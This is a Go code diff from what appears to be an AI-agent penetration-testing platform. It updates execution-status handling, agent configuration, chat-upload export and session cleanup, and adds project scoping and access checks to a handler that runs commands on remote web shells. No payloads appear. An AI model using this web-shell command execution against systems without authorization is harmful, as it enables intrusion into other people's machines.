if exec.Status == "failed" || exec.Status == "cancelled" {
|
if monitorStatusCountsAsFailed(exec.Status) {
|
||||||
stat.FailedCalls++
|
stat.FailedCalls++
|
||||||
} else if exec.Status == "completed" {
|
} else if exec.Status == "completed" {
|
||||||
stat.SuccessCalls++
|
stat.SuccessCalls++
|
||||||
@@ -180,6 +180,15 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
|
|||||||
return summarizeToolStats(stats, topN)
|
return summarizeToolStats(stats, topN)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func monitorStatusCountsAsFailed(status string) bool {
|
||||||
|
switch strings.TrimSpace(strings.ToLower(status)) {
|
||||||
|
case "failed", "hard_timeout", "orphaned":
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *MonitorHandler) monitorRetentionDays() int {
|
func (h *MonitorHandler) monitorRetentionDays() int {
|
||||||
if h.monitorRetention != nil {
|
if h.monitorRetention != nil {
|
||||||
return h.monitorRetention.RetentionDays()
|
return h.monitorRetention.RetentionDays()
|
||||||
@@ -813,7 +822,7 @@ func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimel
|
|||||||
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
|
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
|
||||||
entry := bucketMap[key]
|
entry := bucketMap[key]
|
||||||
entry.total++
|
entry.total++
|
||||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
if monitorStatusCountsAsFailed(exec.Status) {
|
||||||
entry.failed++
|
entry.failed++
|
||||||
}
|
}
|
||||||
bucketMap[key] = entry
|
bucketMap[key] = entry
|
||||||
@@ -876,7 +885,7 @@ func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
|
|||||||
totalCalls := 1
|
totalCalls := 1
|
||||||
successCalls := 0
|
successCalls := 0
|
||||||
failedCalls := 0
|
failedCalls := 0
|
||||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
if monitorStatusCountsAsFailed(exec.Status) {
|
||||||
failedCalls = 1
|
failedCalls = 1
|
||||||
} else if exec.Status == "completed" {
|
} else if exec.Status == "completed" {
|
||||||
successCalls = 1
|
successCalls = 1
|
||||||
@@ -951,7 +960,7 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
|||||||
|
|
||||||
stats := toolStats[exec.ToolName]
|
stats := toolStats[exec.ToolName]
|
||||||
stats.totalCalls++
|
stats.totalCalls++
|
||||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
if monitorStatusCountsAsFailed(exec.Status) {
|
||||||
stats.failedCalls++
|
stats.failedCalls++
|
||||||
} else if exec.Status == "completed" {
|
} else if exec.Status == "completed" {
|
||||||
stats.successCalls++
|
stats.successCalls++
|
||||||
|
|||||||
@@ -158,6 +158,12 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
|
|
||||||
stopKeepalive := runSSEKeepalive(c, &sseWriteMu)
|
stopKeepalive := runSSEKeepalive(c, &sseWriteMu)
|
||||||
defer stopKeepalive()
|
defer stopKeepalive()
|
||||||
|
runCfg, _, err := h.configForAIChannel(req.AIChannelID)
|
||||||
|
if err != nil {
|
||||||
|
sendEvent("error", err.Error(), nil)
|
||||||
|
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
var result *multiagent.RunResult
|
var result *multiagent.RunResult
|
||||||
var runErr error
|
var runErr error
|
||||||
@@ -232,8 +238,8 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
|
|
||||||
result, runErr = multiagent.RunDeepAgent(
|
result, runErr = multiagent.RunDeepAgent(
|
||||||
taskCtxLoop,
|
taskCtxLoop,
|
||||||
h.config,
|
runCfg,
|
||||||
&h.config.MultiAgent,
|
&runCfg.MultiAgent,
|
||||||
h.agent,
|
h.agent,
|
||||||
h.db,
|
h.db,
|
||||||
h.logger,
|
h.logger,
|
||||||
@@ -421,6 +427,11 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
|||||||
taskCtx = multiagent.WithHITLToolInterceptor(taskCtx, func(ctx context.Context, toolName, arguments string) (string, error) {
|
taskCtx = multiagent.WithHITLToolInterceptor(taskCtx, func(ctx context.Context, toolName, arguments string) (string, error) {
|
||||||
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
||||||
})
|
})
|
||||||
|
runCfg, _, err := h.configForAIChannel(req.AIChannelID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
curHist := prep.History
|
curHist := prep.History
|
||||||
curMsg := prep.FinalMessage
|
curMsg := prep.FinalMessage
|
||||||
@@ -429,8 +440,8 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
|||||||
for {
|
for {
|
||||||
result, runErr = multiagent.RunDeepAgent(
|
result, runErr = multiagent.RunDeepAgent(
|
||||||
taskCtx,
|
taskCtx,
|
||||||
h.config,
|
runCfg,
|
||||||
&h.config.MultiAgent,
|
&runCfg.MultiAgent,
|
||||||
h.agent,
|
h.agent,
|
||||||
h.db,
|
h.db,
|
||||||
h.logger,
|
h.logger,
|
||||||
|
|||||||
@@ -56,6 +56,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
|
|||||||
var err error
|
var err error
|
||||||
meta := audit.ConversationCreateMetaFromGin(c, source)
|
meta := audit.ConversationCreateMetaFromGin(c, source)
|
||||||
meta.ProjectID = projectID
|
meta.ProjectID = projectID
|
||||||
|
meta.RoleName = req.Role
|
||||||
if webshellID != "" {
|
if webshellID != "" {
|
||||||
meta.Source = source + "_webshell"
|
meta.Source = source + "_webshell"
|
||||||
meta.WebShellConnectionID = webshellID
|
meta.WebShellConnectionID = webshellID
|
||||||
@@ -80,6 +81,9 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
|
|||||||
return nil, fmt.Errorf("无权访问该对话")
|
return nil, fmt.Errorf("无权访问该对话")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if err := h.db.SetConversationRoleName(conversationID, req.Role); err != nil {
|
||||||
|
h.logger.Warn("更新对话角色失败", zap.String("conversationId", conversationID), zap.String("role", req.Role), zap.Error(err))
|
||||||
|
}
|
||||||
|
|
||||||
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -307,7 +307,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "执行状态",
|
"description": "执行状态",
|
||||||
"enum": []string{"success", "failed", "running"},
|
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
|
||||||
},
|
},
|
||||||
"result": map[string]interface{}{
|
"result": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -778,7 +778,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "执行状态",
|
"description": "执行状态",
|
||||||
"enum": []string{"success", "failed", "running"},
|
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
|
||||||
},
|
},
|
||||||
"createdAt": map[string]interface{}{
|
"createdAt": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -839,6 +839,9 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"type": "object",
|
"type": "object",
|
||||||
"description": "配置信息(含 openai、vision、multi_agent 等)",
|
"description": "配置信息(含 openai、vision、multi_agent 等)",
|
||||||
"properties": map[string]interface{}{
|
"properties": map[string]interface{}{
|
||||||
|
"agent": map[string]interface{}{
|
||||||
|
"$ref": "#/components/schemas/AgentConfig",
|
||||||
|
},
|
||||||
"vision": map[string]interface{}{
|
"vision": map[string]interface{}{
|
||||||
"$ref": "#/components/schemas/VisionConfig",
|
"$ref": "#/components/schemas/VisionConfig",
|
||||||
},
|
},
|
||||||
@@ -848,11 +851,30 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"type": "object",
|
"type": "object",
|
||||||
"description": "更新配置请求",
|
"description": "更新配置请求",
|
||||||
"properties": map[string]interface{}{
|
"properties": map[string]interface{}{
|
||||||
|
"agent": map[string]interface{}{
|
||||||
|
"$ref": "#/components/schemas/AgentConfig",
|
||||||
|
},
|
||||||
"vision": map[string]interface{}{
|
"vision": map[string]interface{}{
|
||||||
"$ref": "#/components/schemas/VisionConfig",
|
"$ref": "#/components/schemas/VisionConfig",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"AgentConfig": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"description": "Agent 运行与外部 MCP 防卡死保护配置",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"max_iterations": map[string]interface{}{"type": "integer", "description": "最大迭代次数"},
|
||||||
|
"tool_timeout_minutes": map[string]interface{}{"type": "integer", "description": "单次工具执行硬超时(分钟)"},
|
||||||
|
"tool_wait_timeout_seconds": map[string]interface{}{"type": "integer", "description": "工具单轮等待秒数;到时返回 execution_id,worker 继续后台执行"},
|
||||||
|
"external_mcp_max_concurrent_per_server": map[string]interface{}{"type": "integer", "description": "单个外部 MCP server 并发上限;0=默认2;负数=不限制"},
|
||||||
|
"external_mcp_max_concurrent_total": map[string]interface{}{"type": "integer", "description": "外部 MCP 全局并发上限;0=默认16;负数=不限制"},
|
||||||
|
"external_mcp_circuit_failure_threshold": map[string]interface{}{"type": "integer", "description": "连续失败熔断阈值;0=默认3;负数=关闭熔断"},
|
||||||
|
"external_mcp_circuit_cooldown_seconds": map[string]interface{}{"type": "integer", "description": "熔断冷却秒数;0=默认60"},
|
||||||
|
"shell_no_output_timeout_seconds": map[string]interface{}{"type": "integer", "description": "execute/exec 连续无输出终止秒数"},
|
||||||
|
"workspace_root_dir": map[string]interface{}{"type": "string", "description": "会话工作目录根路径"},
|
||||||
|
"system_prompt_path": map[string]interface{}{"type": "string", "description": "单代理系统提示文件路径"},
|
||||||
|
},
|
||||||
|
},
|
||||||
"VisionConfig": map[string]interface{}{
|
"VisionConfig": map[string]interface{}{
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"description": "视觉分析(analyze_image MCP 工具);enabled 且 model 非空时注册工具",
|
"description": "视觉分析(analyze_image MCP 工具);enabled 且 model 非空时注册工具",
|
||||||
@@ -3483,7 +3505,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"description": "状态筛选",
|
"description": "状态筛选",
|
||||||
"schema": map[string]interface{}{
|
"schema": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": []string{"success", "failed", "running"},
|
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -5776,10 +5798,15 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"get": map[string]interface{}{
|
"get": map[string]interface{}{
|
||||||
"tags": []string{"对话附件"},
|
"tags": []string{"对话附件"},
|
||||||
"summary": "列出附件",
|
"summary": "列出附件",
|
||||||
"description": "获取对话附件文件列表,可按对话ID过滤。",
|
"description": "获取对话文件列表,包含手动上传附件、工具输出和会话产物,可按会话、项目、来源、文件名搜索和分页过滤。",
|
||||||
"operationId": "listChatUploads",
|
"operationId": "listChatUploads",
|
||||||
"parameters": []map[string]interface{}{
|
"parameters": []map[string]interface{}{
|
||||||
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||||
|
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||||
|
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
|
||||||
|
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
|
||||||
|
{"name": "page", "in": "query", "required": false, "description": "页码,从1开始", "schema": map[string]interface{}{"type": "integer", "default": 1}},
|
||||||
|
{"name": "pageSize", "in": "query", "required": false, "description": "每页数量,传 all 返回全部", "schema": map[string]interface{}{"oneOf": []map[string]interface{}{{"type": "integer"}, {"type": "string", "enum": []string{"all"}}}}},
|
||||||
},
|
},
|
||||||
"responses": map[string]interface{}{
|
"responses": map[string]interface{}{
|
||||||
"200": map[string]interface{}{
|
"200": map[string]interface{}{
|
||||||
@@ -5801,11 +5828,18 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"modifiedUnix": map[string]interface{}{"type": "integer"},
|
"modifiedUnix": map[string]interface{}{"type": "integer"},
|
||||||
"date": map[string]interface{}{"type": "string"},
|
"date": map[string]interface{}{"type": "string"},
|
||||||
"conversationId": map[string]interface{}{"type": "string"},
|
"conversationId": map[string]interface{}{"type": "string"},
|
||||||
|
"projectId": map[string]interface{}{"type": "string"},
|
||||||
"subPath": map[string]interface{}{"type": "string"},
|
"subPath": map[string]interface{}{"type": "string"},
|
||||||
|
"source": map[string]interface{}{"type": "string", "description": "upload/reduction/conversation_artifact"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"folders": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
|
"folders": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
|
||||||
|
"total": map[string]interface{}{"type": "integer"},
|
||||||
|
"page": map[string]interface{}{"type": "integer"},
|
||||||
|
"pageSize": map[string]interface{}{
|
||||||
|
"type": "integer",
|
||||||
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
@@ -5880,6 +5914,31 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"/api/chat-uploads/export": map[string]interface{}{
|
||||||
|
"get": map[string]interface{}{
|
||||||
|
"tags": []string{"对话附件"},
|
||||||
|
"summary": "导出附件",
|
||||||
|
"description": "按当前过滤条件导出对话文件 ZIP,包含 manifest.json。",
|
||||||
|
"operationId": "exportChatUploads",
|
||||||
|
"parameters": []map[string]interface{}{
|
||||||
|
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||||
|
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||||
|
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
|
||||||
|
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
|
||||||
|
},
|
||||||
|
"responses": map[string]interface{}{
|
||||||
|
"200": map[string]interface{}{
|
||||||
|
"description": "ZIP文件下载",
|
||||||
|
"content": map[string]interface{}{
|
||||||
|
"application/zip": map[string]interface{}{
|
||||||
|
"schema": map[string]interface{}{"type": "string", "format": "binary"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"401": map[string]interface{}{"description": "未授权"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
"/api/chat-uploads/download": map[string]interface{}{
|
"/api/chat-uploads/download": map[string]interface{}{
|
||||||
"get": map[string]interface{}{
|
"get": map[string]interface{}{
|
||||||
"tags": []string{"对话附件"},
|
"tags": []string{"对话附件"},
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ var apiDocI18nSummaryToKey = map[string]string{
|
|||||||
"获取连接状态": "getWebshellConnectionState", "保存连接状态": "saveWebshellConnectionState",
|
"获取连接状态": "getWebshellConnectionState", "保存连接状态": "saveWebshellConnectionState",
|
||||||
"获取AI对话历史": "getWebshellAIHistory", "列出AI对话": "listWebshellAIConversations",
|
"获取AI对话历史": "getWebshellAIHistory", "列出AI对话": "listWebshellAIConversations",
|
||||||
"执行WebShell命令": "webshellExec", "WebShell文件操作": "webshellFileOp",
|
"执行WebShell命令": "webshellExec", "WebShell文件操作": "webshellFileOp",
|
||||||
"列出附件": "listChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
|
"列出附件": "listChatUploads", "导出附件": "exportChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
|
||||||
"下载附件": "downloadChatUpload", "获取附件文本内容": "getChatUploadContent",
|
"下载附件": "downloadChatUpload", "获取附件文本内容": "getChatUploadContent",
|
||||||
"写入附件文本内容": "putChatUploadContent", "创建附件目录": "mkdirChatUpload", "重命名附件": "renameChatUpload",
|
"写入附件文本内容": "putChatUploadContent", "创建附件目录": "mkdirChatUpload", "重命名附件": "renameChatUpload",
|
||||||
"企业微信回调验证": "wecomCallbackVerify", "企业微信消息回调": "wecomCallbackMessage",
|
"企业微信回调验证": "wecomCallbackVerify", "企业微信消息回调": "wecomCallbackMessage",
|
||||||
|
|||||||
@@ -252,7 +252,7 @@ type AgentTaskManager struct {
|
|||||||
maxHistorySize int // 最大历史记录数
|
maxHistorySize int // 最大历史记录数
|
||||||
historyRetention time.Duration // 历史记录保留时间
|
historyRetention time.Duration // 历史记录保留时间
|
||||||
eventBus *TaskEventBus // 可选:任务结束时关闭镜像 SSE 订阅
|
eventBus *TaskEventBus // 可选:任务结束时关闭镜像 SSE 订阅
|
||||||
// toolCanceler 在用户整轮停止任务时终止当前 MCP 工具(非「中断并继续」)。
|
// toolCanceler 在用户整轮停止任务或会话结束时终止该会话仍在运行的 MCP 工具(非「中断并继续」)。
|
||||||
toolCanceler func(conversationID string)
|
toolCanceler func(conversationID string)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -284,7 +284,7 @@ func (m *AgentTaskManager) SetTaskEventBus(b *TaskEventBus) {
|
|||||||
m.eventBus = b
|
m.eventBus = b
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetToolCanceler 设置整轮停止任务时终止当前 MCP 工具的回调(由 AgentHandler 注入)。
|
// SetToolCanceler 设置整轮停止任务/会话结束时终止仍在运行 MCP 工具的回调(由 AgentHandler 注入)。
|
||||||
func (m *AgentTaskManager) SetToolCanceler(fn func(conversationID string)) {
|
func (m *AgentTaskManager) SetToolCanceler(fn func(conversationID string)) {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
defer m.mu.Unlock()
|
defer m.mu.Unlock()
|
||||||
@@ -444,6 +444,8 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
|
|||||||
if finalStatus != "" {
|
if finalStatus != "" {
|
||||||
task.Status = finalStatus
|
task.Status = finalStatus
|
||||||
}
|
}
|
||||||
|
toolCanceler := m.toolCanceler
|
||||||
|
activeEinoExecuteCancel := task.activeEinoExecuteCancel
|
||||||
|
|
||||||
// 保存到历史记录
|
// 保存到历史记录
|
||||||
completedTask := &CompletedTask{
|
completedTask := &CompletedTask{
|
||||||
@@ -464,6 +466,12 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
|
|||||||
delete(m.tasks, conversationID)
|
delete(m.tasks, conversationID)
|
||||||
bus := m.eventBus
|
bus := m.eventBus
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
|
if toolCanceler != nil {
|
||||||
|
toolCanceler(conversationID)
|
||||||
|
}
|
||||||
|
if activeEinoExecuteCancel != nil {
|
||||||
|
activeEinoExecuteCancel()
|
||||||
|
}
|
||||||
if bus != nil {
|
if bus != nil {
|
||||||
bus.CloseConversation(conversationID)
|
bus.CloseConversation(conversationID)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -78,3 +78,23 @@ func TestCancelTaskDefaultCauseIsTaskCancelled(t *testing.T) {
|
|||||||
t.Fatalf("expected tool canceler path for default cancel cause")
|
t.Fatalf("expected tool canceler path for default cancel cause")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestFinishTaskInvokesToolCancelerOnSessionEnd(t *testing.T) {
|
||||||
|
tm := NewAgentTaskManager()
|
||||||
|
calls := 0
|
||||||
|
tm.SetToolCanceler(func(conversationID string) {
|
||||||
|
if conversationID == "conv-3" {
|
||||||
|
calls++
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
_, cancel := context.WithCancelCause(context.Background())
|
||||||
|
if _, err := tm.StartTask("conv-3", "hello", cancel); err != nil {
|
||||||
|
t.Fatalf("StartTask: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tm.FinishTask("conv-3", "completed")
|
||||||
|
if calls != 1 {
|
||||||
|
t.Fatalf("expected one tool cleanup on FinishTask, got %d", calls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -352,26 +352,28 @@ func NewWebShellHandler(logger *zap.Logger, db *database.DB) *WebShellHandler {
|
|||||||
|
|
||||||
// CreateConnectionRequest 创建连接请求
|
// CreateConnectionRequest 创建连接请求
|
||||||
type CreateConnectionRequest struct {
|
type CreateConnectionRequest struct {
|
||||||
URL string `json:"url" binding:"required"`
|
ProjectID string `json:"project_id"`
|
||||||
Password string `json:"password"`
|
URL string `json:"url" binding:"required"`
|
||||||
Type string `json:"type"`
|
Password string `json:"password"`
|
||||||
Method string `json:"method"`
|
Type string `json:"type"`
|
||||||
CmdParam string `json:"cmd_param"`
|
Method string `json:"method"`
|
||||||
Remark string `json:"remark"`
|
CmdParam string `json:"cmd_param"`
|
||||||
Encoding string `json:"encoding"`
|
Remark string `json:"remark"`
|
||||||
OS string `json:"os"`
|
Encoding string `json:"encoding"`
|
||||||
|
OS string `json:"os"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// UpdateConnectionRequest 更新连接请求
|
// UpdateConnectionRequest 更新连接请求
|
||||||
type UpdateConnectionRequest struct {
|
type UpdateConnectionRequest struct {
|
||||||
URL string `json:"url" binding:"required"`
|
ProjectID string `json:"project_id"`
|
||||||
Password string `json:"password"`
|
URL string `json:"url" binding:"required"`
|
||||||
Type string `json:"type"`
|
Password string `json:"password"`
|
||||||
Method string `json:"method"`
|
Type string `json:"type"`
|
||||||
CmdParam string `json:"cmd_param"`
|
Method string `json:"method"`
|
||||||
Remark string `json:"remark"`
|
CmdParam string `json:"cmd_param"`
|
||||||
Encoding string `json:"encoding"`
|
Remark string `json:"remark"`
|
||||||
OS string `json:"os"`
|
Encoding string `json:"encoding"`
|
||||||
|
OS string `json:"os"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections)
|
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections)
|
||||||
@@ -381,7 +383,7 @@ func (h *WebShellHandler) ListConnections(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
session, _ := security.CurrentSession(c)
|
session, _ := security.CurrentSession(c)
|
||||||
list, err := h.db.ListWebshellConnectionsForAccess(session.UserID, session.Scope)
|
list, err := h.db.ListWebshellConnectionsForAccess(session.UserID, session.Scope, c.Query("project_id"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
@@ -412,6 +414,11 @@ func (h *WebShellHandler) CreateConnection(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
projectID := strings.TrimSpace(req.ProjectID)
|
||||||
|
if !h.canAccessProject(c, projectID) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||||
|
return
|
||||||
|
}
|
||||||
method := strings.ToLower(strings.TrimSpace(req.Method))
|
method := strings.ToLower(strings.TrimSpace(req.Method))
|
||||||
if method != "get" && method != "post" {
|
if method != "get" && method != "post" {
|
||||||
method = "post"
|
method = "post"
|
||||||
@@ -422,6 +429,7 @@ func (h *WebShellHandler) CreateConnection(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
conn := &database.WebShellConnection{
|
conn := &database.WebShellConnection{
|
||||||
ID: "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12],
|
ID: "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12],
|
||||||
|
ProjectID: projectID,
|
||||||
URL: req.URL,
|
URL: req.URL,
|
||||||
Password: strings.TrimSpace(req.Password),
|
Password: strings.TrimSpace(req.Password),
|
||||||
Type: shellType,
|
Type: shellType,
|
||||||
@@ -477,6 +485,11 @@ func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
projectID := strings.TrimSpace(req.ProjectID)
|
||||||
|
if !h.canAccessProject(c, projectID) {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "project access denied"})
|
||||||
|
return
|
||||||
|
}
|
||||||
method := strings.ToLower(strings.TrimSpace(req.Method))
|
method := strings.ToLower(strings.TrimSpace(req.Method))
|
||||||
if method != "get" && method != "post" {
|
if method != "get" && method != "post" {
|
||||||
method = "post"
|
method = "post"
|
||||||
@@ -486,15 +499,16 @@ func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
|
|||||||
shellType = "php"
|
shellType = "php"
|
||||||
}
|
}
|
||||||
conn := &database.WebShellConnection{
|
conn := &database.WebShellConnection{
|
||||||
ID: id,
|
ID: id,
|
||||||
URL: req.URL,
|
ProjectID: projectID,
|
||||||
Password: strings.TrimSpace(req.Password),
|
URL: req.URL,
|
||||||
Type: shellType,
|
Password: strings.TrimSpace(req.Password),
|
||||||
Method: method,
|
Type: shellType,
|
||||||
CmdParam: strings.TrimSpace(req.CmdParam),
|
Method: method,
|
||||||
Remark: strings.TrimSpace(req.Remark),
|
CmdParam: strings.TrimSpace(req.CmdParam),
|
||||||
Encoding: normalizeWebshellEncoding(req.Encoding),
|
Remark: strings.TrimSpace(req.Remark),
|
||||||
OS: normalizeWebshellOS(req.OS),
|
Encoding: normalizeWebshellEncoding(req.Encoding),
|
||||||
|
OS: normalizeWebshellOS(req.OS),
|
||||||
}
|
}
|
||||||
if err := h.db.UpdateWebshellConnection(conn); err != nil {
|
if err := h.db.UpdateWebshellConnection(conn); err != nil {
|
||||||
if err == sql.ErrNoRows {
|
if err == sql.ErrNoRows {
|
||||||
@@ -721,15 +735,22 @@ func (h *WebShellHandler) Exec(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
|
// Pre-save connectivity tests send form credentials without connection_id.
|
||||||
if !allowed {
|
// Saved connections must go through resource ACL; DB credentials are authoritative.
|
||||||
|
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
|
||||||
|
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
|
||||||
|
if !allowed {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Never let a caller pair an authorized ID with attacker-controlled
|
||||||
|
// transport credentials or a URL.
|
||||||
|
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
||||||
|
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
|
||||||
|
} else if !security.SessionHasPermission(c, "webshell:write") {
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// The database record is authoritative. Never let a caller pair an
|
|
||||||
// authorized ID with attacker-controlled transport credentials or a URL.
|
|
||||||
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
|
||||||
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
|
|
||||||
|
|
||||||
parsed, err := url.Parse(req.URL)
|
parsed, err := url.Parse(req.URL)
|
||||||
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
|
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
|
||||||
